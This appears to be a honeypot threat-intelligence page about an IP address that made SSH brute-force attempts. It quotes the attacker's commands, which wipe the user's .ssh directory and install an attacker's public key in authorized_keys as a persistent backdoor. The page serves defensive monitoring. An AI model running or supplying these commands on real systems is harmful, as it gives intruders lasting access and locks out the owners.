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129.121.54.208

TAGGED MALICIOUS how we decide →
Threat Confidence
47%
Location
🇧🇷 BR / Vinhedo
ASN
AS26337 · Oso Grande IP Services, LLC
Cloud Provider
Total Events
46
Above average by volume
Agent Count
2
First / Last Seen
2026-05-22 13:54 — 2026-06-11 01:30
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Credential Access
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
malware_dropper ×2 credential_probe ×2 opportunistic_bruter ×2
Sessions
6 (4 with login)
Avg Depth Score
0.57
Commands Executed
6
Files Downloaded
2
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
SSH-2.0-libssh_0.9.6
Evidence Timeline
Malware Dropper 8cc9e4b8633c newark_01 · 2026-06-11 01:30
3 1 1 100%
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Opportunistic Bruter 0c5282ff357f newark_01 · 2026-06-11 01:30
1 50%
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Credential Probe b6f8aa2be11d newark_01 · 2026-06-11 01:30
1 20%
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Malware Dropper 7be71a68f5c8 w4m_singapore_01 · 2026-05-22 13:54
3 1 1 100%
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Opportunistic Bruter 27c65f53870f w4m_singapore_01 · 2026-05-22 13:54
1 50%
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Credential Probe a660e70c1349 w4m_singapore_01 · 2026-05-22 13:54
1 20%
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